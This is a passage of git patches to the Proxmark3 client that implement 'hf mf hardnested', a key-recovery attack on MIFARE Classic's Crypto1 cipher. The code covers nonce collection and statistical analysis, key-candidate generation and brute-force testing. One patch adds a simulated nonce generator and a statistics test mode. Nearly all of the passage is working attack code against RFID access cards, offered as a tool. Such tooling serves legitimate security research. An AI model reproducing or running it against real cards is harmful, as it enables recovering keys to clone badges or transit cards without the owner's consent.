+97,9 @@ static inline int filter(uint32_t const x) f |= 0x0d938 >> (x >> 16 & 0xf) & 1; return BIT(0xEC57E80A, f); } +#define filter_unsafe(x) (filter(x)) +#endif + #ifdef __cplusplus } #endif diff --git a/common/parity.h b/common/parity.h index 6adfdb30..89491646 100644 --- a/common/parity.h +++ b/common/parity.h @@ -13,21 +13,24 @@ extern const uint8_t OddByteParity[256]; -static inline uint8_t oddparity8(uint8_t bt) -{ - return OddByteParity[bt]; -} +#define oddparity8(x) (OddByteParity[(x)]) extern const uint8_t EvenByteParity[256]; -static inline uint8_t evenparity8(const uint8_t bt) -{ - return EvenByteParity[bt]; +static inline bool /*__attribute__((always_inline))*/ evenparity8(const uint8_t x) { +#if !defined __i386__ || !defined __GNUC__ + return EvenByteParity[x]; +#else + uint8_t y; + __asm( "testb $255, %1\n" + "setpo %0\n" : "=r"(y) : "r"(x): ); + return y; +#endif } -static inline uint32_t evenparity32(uint32_t x) +static inline uint8_t evenparity32(uint32_t x) { x ^= x >> 16; x ^= x >> 8; From de29f3a2d1af4c1e4d325263c7ea7bf6b1b9dd0c Mon Sep 17 00:00:00 2001 From: pwpiwi Date: Mon, 4 Jan 2016 09:45:23 +0100 Subject: [PATCH 11/12] implementing hf mf hardnested - fixed a bug in sort_best_first_bytes() - remove some debug tests/prints --- client/cmdhfmfhard.c | 136 ++++++++++++++++++++----------------------- 1 file changed, 64 insertions(+), 72 deletions(-) diff --git a/client/cmdhfmfhard.c b/client/cmdhfmfhard.c index 78a461c7..edc190d0 100644 --- a/client/cmdhfmfhard.c +++ b/client/cmdhfmfhard.c @@ -30,7 +30,7 @@ // uint32_t test_state_even = 0; #define CONFIDENCE_THRESHOLD 0.95 // Collect nonces until we are certain enough that the following brute force is successfull -#define GOOD_BYTES_REQUIRED 20 +#define GOOD_BYTES_REQUIRED 30 static const float p_K[257] = { // the probability that a random nonce has a Sum Property == K @@ -89,14 +89,13 @@ typedef struct noncelist { static uint32_t cuid; static noncelist_t nonces[256]; +static uint8_t best_first_bytes[256]; static uint16_t first_byte_Sum = 0; static uint16_t first_byte_num = 0; static uint16_t num_good_first_bytes = 0; static uint64_t maximum_states = 0; static uint64_t known_target_key; -#define MAX_BEST_BYTES 256 -static uint8_t best_first_bytes[MAX_BEST_BYTES]; typedef enum { @@ -200,12 +199,12 @@ static uint16_t PartialSumProperty(uint32_t state, odd_even_t odd_even) } -static uint16_t SumProperty(struct Crypto1State *s) -{ - uint16_t sum_odd = PartialSumProperty(s->odd, ODD_STATE); - uint16_t sum_even = PartialSumProperty(s->even, EVEN_STATE); - return (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even); -} +// static uint16_t SumProperty(struct Crypto1State *s) +// { + // uint16_t sum_odd = PartialSumProperty(s->odd, ODD_STATE); + // uint16_t sum_even = PartialSumProperty(s->even, EVEN_STATE); + // return (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even); +// } static double p_hypergeometric(uint16_t N, uint16_t K, uint16_t n, uint16_t k) @@ -296,13 +295,13 @@ static inline uint_fast8_t common_bits(uint_fast8_t bytes_diff) static void Tests() { - printf("Tests: Partial Statelist sizes\n"); - for (uint16_t i = 0; i <= 16; i+=2) { - printf("Partial State List Odd [%2d] has %8d entries\n", i, partial_statelist[i].len[ODD_STATE]); - } - for (uint16_t i = 0; i <= 16; i+=2) { - printf("Partial State List Even [%2d] has %8d entries\n", i, partial_statelist[i].len[EVEN_STATE]); - } + // printf("Tests: Partial Statelist sizes\n"); + // for (uint16_t i = 0; i <= 16; i+=2) { + // printf("Partial State List Odd [%2d] has %8d entries\n", i, partial_statelist[i].len[ODD_STATE]); + // } + // for (uint16_t i = 0; i <= 16; i+=2) { + // printf("Partial State List Even [%2d] has %8d entries\n", i, partial_statelist[i].len[EVEN_STATE]); + // } // #define NUM_STATISTICS 100000 // uint32_t statistics_odd[17]; @@ -375,65 +374,64 @@ static void Tests() // printf("p_hypergeometric(256, 1, 1, 1) = %0.8f\n", p_hypergeometric(256, 1, 1, 1)); // printf("p_hypergeometric(256, 1, 1, 0) = %0.8f\n", p_hypergeometric(256, 1, 1, 0)); - struct Crypto1State *pcs; - pcs = crypto1_create(0xffffffffffff); - printf("\nTests: for key = 0xffffffffffff:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n", - SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff); - crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true); - printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n", - best_first_bytes[0], - SumProperty(pcs), - pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff); + // struct Crypto1State *pcs; + // pcs = crypto1_create(0xffffffffffff); + // printf("\nTests: for key = 0xffffffffffff:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n", + // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff); + // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true); + // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n", + // best_first_bytes[0], + // SumProperty(pcs), + // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff); + // //test_state_odd = pcs->odd & 0x00ffffff; + // //test_state_even = pcs->even & 0x00ffffff; + // crypto1_destroy(pcs); + // pcs = crypto1_create(0xa0a1a2a3a4a5); + // printf("Tests: for key = 0xa0a1a2a3a4a5:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n", + // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff); + // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true); + // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n", + // best_first_bytes[0], + // SumProperty(pcs), + // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff); + // //test_state_odd = pcs->odd & 0x00ffffff; + // //test_state_even = pcs->even & 0x00ffffff; + // crypto1_destroy(pcs); + // pcs = crypto1_create(0xa6b9aa97b955); + // printf("Tests: for key = 0xa6b9aa97b955:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n", + // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff); + // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true); + // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n", + // best_first_bytes[0], + // SumProperty(pcs), + // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff); //test_state_odd = pcs->odd & 0x00ffffff; //test_state_even = pcs->even & 0x00ffffff; - crypto1_destroy(pcs); - pcs = crypto1_create(0xa0a1a2a3a4a5); - printf("Tests: for key = 0xa0a1a2a3a4a5:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n", - SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff); - crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true); - printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n", - best_first_bytes[0], - SumProperty(pcs), - pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff); - //test_state_odd = pcs->odd & 0x00ffffff; - //test_state_even = pcs->even & 0x00ffffff; - crypto1_destroy(pcs); - pcs = crypto1_create(0xa6b9aa97b955); - printf("Tests: for key = 0xa6b9aa97b955:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n", - SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff); - crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true); - printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n", - best_first_bytes[0], - SumProperty(pcs), - pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff); - //test_state_odd = pcs->odd & 0x00ffffff; - //test_state_even = pcs->even & 0x00ffffff; - crypto1_destroy(pcs); + // crypto1_destroy(pcs); - printf("\nTests: number of states with BitFlipProperty: %d, (= %1.3f%% of total states)\n", statelist_bitflip.len[0], 100.0 * statelist_bitflip.len[0] / (1<<20)); + // printf("\nTests: number of states with BitFlipProperty: %d, (= %1.3f%% of total states)\n", statelist_bitflip.len[0], 100.0 * statelist_bitflip.len[0] / (1<<20)); printf("\nTests: Actual BitFlipProperties odd/even:\n"); for (uint16_t i = 0; i < 256; i++) { - printf("[%02x]:%c%c ", i, nonces[i].BitFlip[ODD_STATE]?'o':' ', nonces[i].BitFlip[EVEN_STATE]?'e':' '); + printf("[%02x]:%c ", i, nonces[i].BitFlip[ODD_STATE]?'o':nonces[i].BitFlip[EVEN_STATE]?'e':' '); if (i % 8 == 7) { printf("\n"); } } - printf("\nTests: Best %d first bytes:\n", MAX_BEST_BYTES); - for (uint16_t i = 0; i < MAX_BEST_BYTES; i++) { + printf("\nTests: Sorted First Bytes:\n"); + for (uint16_t i = 0; i < 256; i++) { uint8_t best_byte = best_first_bytes[i]; - printf("#%03d Byte: %02x, n = %2d, k = %2d, Sum(a8): %3d, Confidence: %2.1f%%, Bitflip: %c%c\n", - //printf("#%03d Byte: %02x, n = %2d, k = %2d, Sum(a8): %3d, Confidence: %2.1f%%, Bitflip: %c%c, score1: %f, score2: %f\n", + printf("#%03d Byte: %02x, n = %3d, k = %3d, Sum(a8): %3d, Confidence: %5.1f%%, Bitflip: %c\n", + //printf("#%03d Byte: %02x, n = %3d, k = %3d, Sum(a8): %3d, Confidence: %5.1f%%, Bitflip: %c, score1: %1.5f, score2: %1.0f\n", i, best_byte, nonces[best_byte].num, nonces[best_byte].Sum, nonces[best_byte].Sum8_guess, nonces[best_byte].Sum8_prob * 100, - nonces[best_byte].BitFlip[ODD_STATE]?'o':' ', - nonces[best_byte].BitFlip[EVEN_STATE]?'e':' ' + nonces[best_byte].BitFlip[ODD_STATE]?'o':nonces[best_byte].BitFlip[EVEN_STATE]?'e':' ' //nonces[best_byte].score1, //nonces[best_byte].score2 ); @@ -460,25 +458,25 @@ static void Tests() static void sort_best_first_bytes(void) { - // first, sort based on probability for correct guess + // sort based on probability for correct guess for (uint16_t i = 0; i < 256; i++ ) { uint16_t j = 0; float prob1 = nonces[i].Sum8_prob; float prob2 = nonces[best_first_bytes[0]].Sum8_prob; - while (prob1 < prob2 && j < MAX_BEST_BYTES-1) { + while (prob1 < prob2 && j < i) { prob2 = nonces[best_first_bytes[++j]].Sum8_prob; } - if (prob1 >= prob2) { - for (uint16_t k = MAX_BEST_BYTES-1; k > j; k--) { + if (j < i) { + for (uint16_t k = i; k > j; k--) { best_first_bytes[k] = best_first_bytes[k-1]; } - best_first_bytes[j] = i; } + best_first_bytes[j] = i; } - // determine, how many are above the CONFIDENCE_THRESHOLD + // determine how many are above the CONFIDENCE_THRESHOLD uint16_t num_good_nonces = 0; - for (uint16_t i = 0; i < MAX_BEST_BYTES; i++) { + for (uint16_t i = 0; i < 256; i++) { if (nonces[best_first_bytes[i]].Sum8_prob > CONFIDENCE_THRESHOLD) { ++num_good_nonces; } @@ -546,10 +544,7 @@ static void sort_best_first_bytes(void) static uint16_t estimate_second_byte_sum(void) { - for (uint16_t i = 0; i < MAX_BEST_BYTES; i++) { - best_first_bytes[i] = 0; - } - + for (uint16_t first_byte = 0; first_byte < 256; first_byte++) { float Sum8_prob = 0.0; uint16_t Sum8 = 0; @@ -570,7 +565,7 @@ static uint16_t estimate_second_byte_sum(void) sort_best_first_bytes(); uint16_t num_good_nonces = 0; - for (uint16_t i = 0; i < MAX_BEST_BYTES; i++) { + for (uint16_t i = 0; i < 256; i++) { if (nonces[best_first_bytes[i]].Sum8_prob > CONFIDENCE_THRESHOLD) { ++num_good_nonces; } @@ -1148,7 +1143,7 @@ static void TestIfKeyExists(uint64_t key) PrintAndLog("Key Found after testing %lld (2^%1.1f) out of %lld (2^%1.1f) keys. A brute force would have taken approx %lld minutes.", count, log(count)/log(2), maximum_states, log(maximum_states)/log(2), - (count>>22)/60); + (count>>23)/60); crypto1_destroy(pcs); return; } @@ -1232,12 +1227,9 @@ static void brute_force(void) if (known_target_key != -1) { PrintAndLog("Looking for known target key in remaining key space..."); TestIfKeyExists(known_target_key); - return; } else { PrintAndLog("Brute Force phase is not implemented."); - return; } - } From 42654aacc0c7e86e4624f98def1856005c11a846 Mon Sep 17 00:00:00 2001 From: pwpiwi Date: Sun, 10 Jan 2016 15:42:32 +0100 Subject: [PATCH 12/12] implementing hf mf hardnested - added a test mode (hf mf hardnested t) which creates a statistics file (hardnested_stats.txt) - added a nonce generator for the test mode (no need for real tags) - calculate number of bytes with bit flip property for the statistics - free allocated memory for nonces and key candidates after work is completed --- .gitignore | 1 + client/cmdhfmf.c | 15 ++- client/cmdhfmfhard.c | 273 +++++++++++++++++++++++++++++++++++-------- client/cmdhfmfhard.h | 2 +- 4 files changed, 235 insertions(+), 56 deletions(-) diff --git a/.gitignore b/.gitignore index fa74326e..48669c9b 100644 --- a/.gitignore +++ b/.gitignore @@ -15,6 +15,7 @@ *.moc.cpp *.z *.exe +hardnested_stats.txt proxmark proxmark3 flasher diff --git a/client/cmdhfmf.c b/client/cmdhfmf.c index 8348e159..3274e01c 100644 --- a/client/cmdhfmf.c +++ b/client/cmdhfmf.c @@ -798,7 +798,7 @@ int CmdHF14AMfNestedHard(const char *Cmd) char ctmp; ctmp = param_getchar(Cmd, 0); - if (ctmp != 'R' && ctmp != 'r' && strlen(Cmd) < 20) { + if (ctmp != 'R' && ctmp != 'r' && ctmp != 'T' && ctmp != 't' && strlen(Cmd) < 20) { PrintAndLog("Usage:"); PrintAndLog(" hf mf hardnested "); PrintAndLog(" [known target key (12 hex symbols)] [w] [s]"); @@ -823,15 +823,17 @@ int CmdHF14AMfNestedHard(const char *Cmd) bool nonce_file_read = false; bool nonce_file_write = false; bool slow = false; + int tests = 0; + if (ctmp == 'R' || ctmp == 'r') { nonce_file_read = true; if (!param_gethex(Cmd, 1, trgkey, 12)) { know_target_key = true; } - + } else if (ctmp == 'T' || ctmp == 't') { + tests = param_get32ex(Cmd, 1, 100, 10); } else { - blockNo = param_get8(Cmd, 0); ctmp = param_getchar(Cmd, 1); if (ctmp != 'a' && ctmp != 'A' && ctmp != 'b' && ctmp != 'B') { @@ -877,15 +879,16 @@ int CmdHF14AMfNestedHard(const char *Cmd) } } - PrintAndLog("--target block no:%3d, target key type:%c, known target key: 0x%02x%02x%02x%02x%02x%02x%s, file action: %s, Slow: %s ", + PrintAndLog("--target block no:%3d, target key type:%c, known target key: 0x%02x%02x%02x%02x%02x%02x%s, file action: %s, Slow: %s, Tests: %d ", trgBlockNo, trgKeyType?'B':'A', trgkey[0], trgkey[1], trgkey[2], trgkey[3], trgkey[4], trgkey[5], know_target_key?"":" (not set)", nonce_file_write?"write":nonce_file_read?"read":"none", - slow?"Yes":"No"); + slow?"Yes":"No", + tests); - int16_t isOK = mfnestedhard(blockNo, keyType, key, trgBlockNo, trgKeyType, know_target_key?trgkey:NULL, nonce_file_read, nonce_file_write, slow); + int16_t isOK = mfnestedhard(blockNo, keyType, key, trgBlockNo, trgKeyType, know_target_key?trgkey:NULL, nonce_file_read, nonce_file_write, slow, tests); if (isOK) { switch (isOK) { diff --git a/client/cmdhfmfhard.c b/client/cmdhfmfhard.c index edc190d0..b3893ea8 100644 --- a/client/cmdhfmfhard.c +++ b/client/cmdhfmfhard.c @@ -18,6 +18,7 @@ #include #include #include +#include #include #include "proxmark3.h" #include "cmdmain.h" @@ -95,7 +96,8 @@ static uint16_t first_byte_num = 0; static uint16_t num_good_first_bytes = 0; static uint64_t maximum_states = 0; static uint64_t known_target_key; - +static bool write_stats = false; +static FILE *fstats = NULL; typedef enum { @@ -175,6 +177,41 @@ static int add_nonce(uint32_t nonce_enc, uint8_t par_enc) } +static void init_nonce_memory(void) +{ + for (uint16_t i = 0; i < 256; i++) { + nonces[i].num = 0; + nonces[i].Sum = 0; + nonces[i].Sum8_guess = 0; + nonces[i].Sum8_prob = 0.0; + nonces[i].updated = true; + nonces[i].first = NULL; + } + first_byte_num = 0; + first_byte_Sum = 0; + num_good_first_bytes = 0; +} + + +static void free_nonce_list(noncelistentry_t *p) +{ + if (p == NULL) { + return; + } else { + free_nonce_list(p->next); + free(p); + } +} + + +static void free_nonces_memory(void) +{ + for (uint16_t i = 0; i < 256; i++) { + free_nonce_list(nonces[i].first); + } +} + + static uint16_t PartialSumProperty(uint32_t state, odd_even_t odd_even) { uint16_t sum = 0; @@ -621,6 +658,8 @@ static void Check_for_FilterFlipProperties(void) { printf("Checking for Filter Flip Properties...\n"); + uint16_t num_bitflips = 0; + for (uint16_t i = 0; i < 256; i++) { nonces[i].BitFlip[ODD_STATE] = false; nonces[i].BitFlip[EVEN_STATE] = false; @@ -633,10 +672,92 @@ static void Check_for_FilterFlipProperties(void) if (parity1 == parity2_odd) { // has Bit Flip Property for odd bits nonces[i].BitFlip[ODD_STATE] = true; + num_bitflips++; } else if (parity1 == parity2_even) { // has Bit Flip Property for even bits nonces[i].BitFlip[EVEN_STATE] = true; + num_bitflips++; } } + + if (write_stats) { + fprintf(fstats, "%d;", num_bitflips); + } +} + + +static void simulate_MFplus_RNG(uint32_t test_cuid, uint64_t test_key, uint32_t *nt_enc, uint8_t *par_enc) +{ + struct Crypto1State sim_cs; + + // init cryptostate with key: + for(int8_t i = 47; i > 0; i -= 2) { + sim_cs.odd = sim_cs.odd << 1 | BIT(test_key, (i - 1) ^ 7); + sim_cs.even = sim_cs.even << 1 | BIT(test_key, i ^ 7); + } + + *par_enc = 0; + uint32_t nt = (rand() & 0xff) << 24 | (rand() & 0xff) << 16 | (rand() & 0xff) << 8 | (rand() & 0xff); + for (int8_t byte_pos = 3; byte_pos >= 0; byte_pos--) { + uint8_t nt_byte_dec = (nt >> (8*byte_pos)) & 0xff; + uint8_t nt_byte_enc = crypto1_byte(&sim_cs, nt_byte_dec ^ (test_cuid >> (8*byte_pos)), false) ^ nt_byte_dec; // encode the nonce byte + *nt_enc = (*nt_enc << 8) | nt_byte_enc; + uint8_t ks_par = filter(sim_cs.odd); // the keystream bit to encode/decode the parity bit + uint8_t nt_byte_par_enc = ks_par ^ oddparity8(nt_byte_dec); // determine the nt byte's parity and encode it + *par_enc = (*par_enc << 1) | nt_byte_par_enc; + } + +} + + +static void simulate_acquire_nonces() +{ + clock_t time1 = clock(); + bool filter_flip_checked = false; + uint32_t total_num_nonces = 0; + uint32_t next_fivehundred = 500; + uint32_t total_added_nonces = 0; + + cuid = (rand() & 0xff) << 24 | (rand() & 0xff) << 16 | (rand() & 0xff) << 8 | (rand() & 0xff); + known_target_key = ((uint64_t)rand() & 0xfff) << 36 | ((uint64_t)rand() & 0xfff) << 24 | ((uint64_t)rand() & 0xfff) << 12 | ((uint64_t)rand() & 0xfff); + + printf("Simulating nonce acquisition for target key %012"llx", cuid %08x ...\n", known_target_key, cuid); + fprintf(fstats, "%012"llx";%08x;", known_target_key, cuid); + + do { + uint32_t nt_enc = 0; + uint8_t par_enc = 0; + + simulate_MFplus_RNG(cuid, known_target_key, &nt_enc, &par_enc); + //printf("Simulated RNG: nt_enc1: %08x, nt_enc2: %08x, par_enc: %02x\n", nt_enc1, nt_enc2, par_enc); + total_added_nonces += add_nonce(nt_enc, par_enc); + total_num_nonces++; + + if (first_byte_num == 256 ) { + // printf("first_byte_num = %d, first_byte_Sum = %d\n", first_byte_num, first_byte_Sum); + if (!filter_flip_checked) { + Check_for_FilterFlipProperties(); + filter_flip_checked = true; + } + num_good_first_bytes = estimate_second_byte_sum(); + if (total_num_nonces > next_fivehundred) { + next_fivehundred = (total_num_nonces/500+1) * 500; + printf("Acquired %5d nonces (%5d with distinct bytes 0 and 1). Number of bytes with probability for correctly guessed Sum(a8) > %1.1f%%: %d\n", + total_num_nonces, + total_added_nonces, + CONFIDENCE_THRESHOLD * 100.0, + num_good_first_bytes); + } + } + + } while (num_good_first_bytes < GOOD_BYTES_REQUIRED); + + PrintAndLog("Acquired a total of %d nonces in %1.1f seconds (%0.0f nonces/minute)", + total_num_nonces, + ((float)clock()-time1)/CLOCKS_PER_SEC, + total_num_nonces*60.0*CLOCKS_PER_SEC/((float)clock()-time1)); + + fprintf(fstats, "%d;%d;%d;%1.2f;", total_num_nonces, total_added_nonces, num_good_first_bytes, CONFIDENCE_THRESHOLD); + } @@ -1029,7 +1150,6 @@ static struct sl_cache_entry { static void init_statelist_cache(void) { - for (uint16_t i = 0; i < 17; i+=2) { for (uint16_t j = 0; j < 17; j+=2) { for (uint16_t k = 0; k < 2; k++) { @@ -1144,12 +1264,18 @@ static void TestIfKeyExists(uint64_t key) count, log(count)/log(2), maximum_states, log(maximum_states)/log(2), (count>>23)/60); + if (write_stats) { + fprintf(fstats, "1\n"); + } crypto1_destroy(pcs); return; } } printf("Key NOT found!\n"); + if (write_stats) { + fprintf(fstats, "0\n"); + } crypto1_destroy(pcs); } @@ -1218,7 +1344,36 @@ static void generate_candidates(uint16_t sum_a0, uint16_t sum_a8) maximum_states += (uint64_t)sl->len[ODD_STATE] * sl->len[EVEN_STATE]; } printf("Number of remaining possible keys: %lld (2^%1.1f)\n", maximum_states, log(maximum_states)/log(2.0)); + if (write_stats) { + if (maximum_states != 0) { + fprintf(fstats, "%1.1f;", log(maximum_states)/log(2.0)); + } else { + fprintf(fstats, "%1.1f;", 0.0); + } + } +} + +static void free_candidates_memory(statelist_t *sl) +{ + if (sl == NULL) { + return; + } else { + free_candidates_memory(sl->next); + free(sl); + } +} + + +static void free_statelist_cache(void) +{ + for (uint16_t i = 0; i < 17; i+=2) { + for (uint16_t j = 0; j < 17; j+=2) { + for (uint16_t k = 0; k < 2; k++) { + free(sl_cache[i][j][k].sl); + } + } + } } @@ -1234,66 +1389,86 @@ static void brute_force(void) } -int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *trgkey, bool nonce_file_read, bool nonce_file_write, bool slow) +int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *trgkey, bool nonce_file_read, bool nonce_file_write, bool slow, int tests) { + // initialize Random number generator + time_t t; + srand((unsigned) time(&t)); + if (trgkey != NULL) { known_target_key = bytes_to_num(trgkey, 6); } else { known_target_key = -1; } - - // initialize the list of nonces - for (uint16_t i = 0; i < 256; i++) { - nonces[i].num = 0; - nonces[i].Sum = 0; - nonces[i].Sum8_guess = 0; - nonces[i].Sum8_prob = 0.0; - nonces[i].updated = true; - nonces[i].first = NULL; - } - first_byte_num = 0; - first_byte_Sum = 0; - num_good_first_bytes = 0; - + init_partial_statelists(); init_BitFlip_statelist(); + write_stats = false; - if (nonce_file_read) { // use pre-acquired data from file nonces.bin - if (read_nonce_file() != 0) { + if (tests) { + // set the correct locale for the stats printing + setlocale(LC_ALL, ""); + write_stats = true; + if ((fstats = fopen("hardnested_stats.txt","a")) == NULL) { + PrintAndLog("Could not create/open file hardnested_stats.txt"); return 3; } - Check_for_FilterFlipProperties(); - num_good_first_bytes = MIN(estimate_second_byte_sum(), GOOD_BYTES_REQUIRED); - } else { // acquire nonces. - uint16_t is_OK = acquire_nonces(blockNo, keyType, key, trgBlockNo, trgKeyType, nonce_file_write, slow); - if (is_OK != 0) { - return is_OK; + for (uint32_t i = 0; i < tests; i++) { + init_nonce_memory(); + simulate_acquire_nonces(); + Tests(); + printf("Sum(a0) = %d\n", first_byte_Sum); + fprintf(fstats, "%d;", first_byte_Sum); + generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].Sum8_guess); + brute_force(); + free_nonces_memory(); + free_statelist_cache(); + free_candidates_memory(candidates); + candidates = NULL; } + fclose(fstats); + } else { + init_nonce_memory(); + if (nonce_file_read) { // use pre-acquired data from file nonces.bin + if (read_nonce_file() != 0) { + return 3; + } + Check_for_FilterFlipProperties(); + num_good_first_bytes = MIN(estimate_second_byte_sum(), GOOD_BYTES_REQUIRED); + } else { // acquire nonces. + uint16_t is_OK = acquire_nonces(blockNo, keyType, key, trgBlockNo, trgKeyType, nonce_file_write, slow); + if (is_OK != 0) { + return is_OK; + } + } + + Tests(); + + PrintAndLog(""); + PrintAndLog("Sum(a0) = %d", first_byte_Sum); + // PrintAndLog("Best 10 first bytes: %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x", + // best_first_bytes[0], + // best_first_bytes[1], + // best_first_bytes[2], + // best_first_bytes[3], + // best_first_bytes[4], + // best_first_bytes[5], + // best_first_bytes[6], + // best_first_bytes[7], + // best_first_bytes[8], + // best_first_bytes[9] ); + PrintAndLog("Number of first bytes with confidence > %2.1f%%: %d", CONFIDENCE_THRESHOLD*100.0, num_good_first_bytes); + + time_t start_time = clock(); + generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].Sum8_guess); + PrintAndLog("Time for generating key candidates list: %1.0f seconds", (float)(clock() - start_time)/CLOCKS_PER_SEC); + + brute_force(); + free_nonces_memory(); + free_statelist_cache(); + free_candidates_memory(candidates); + candidates = NULL; } - - - Tests(); - - PrintAndLog(""); - PrintAndLog("Sum(a0) = %d", first_byte_Sum); - // PrintAndLog("Best 10 first bytes: %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x", - // best_first_bytes[0], - // best_first_bytes[1], - // best_first_bytes[2], - // best_first_bytes[3], - // best_first_bytes[4], - // best_first_bytes[5], - // best_first_bytes[6], - // best_first_bytes[7], - // best_first_bytes[8], - // best_first_bytes[9] ); - PrintAndLog("Number of first bytes with confidence > %2.1f%%: %d", CONFIDENCE_THRESHOLD*100.0, num_good_first_bytes); - - time_t start_time = clock(); - generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].Sum8_guess); - PrintAndLog("Time for generating key candidates list: %1.0f seconds", (float)(clock() - start_time)/CLOCKS_PER_SEC); - - brute_force(); return 0; } diff --git a/client/cmdhfmfhard.h b/client/cmdhfmfhard.h index 024ad2be..d339ae3c 100644 --- a/client/cmdhfmfhard.h +++ b/client/cmdhfmfhard.h @@ -8,4 +8,4 @@ // hf mf hardnested command //----------------------------------------------------------------------------- -int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *trgkey, bool nonce_file_read, bool nonce_file_write, bool slow); +int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *trgkey, bool nonce_file_read, bool nonce_file_write, bool slow, int tests);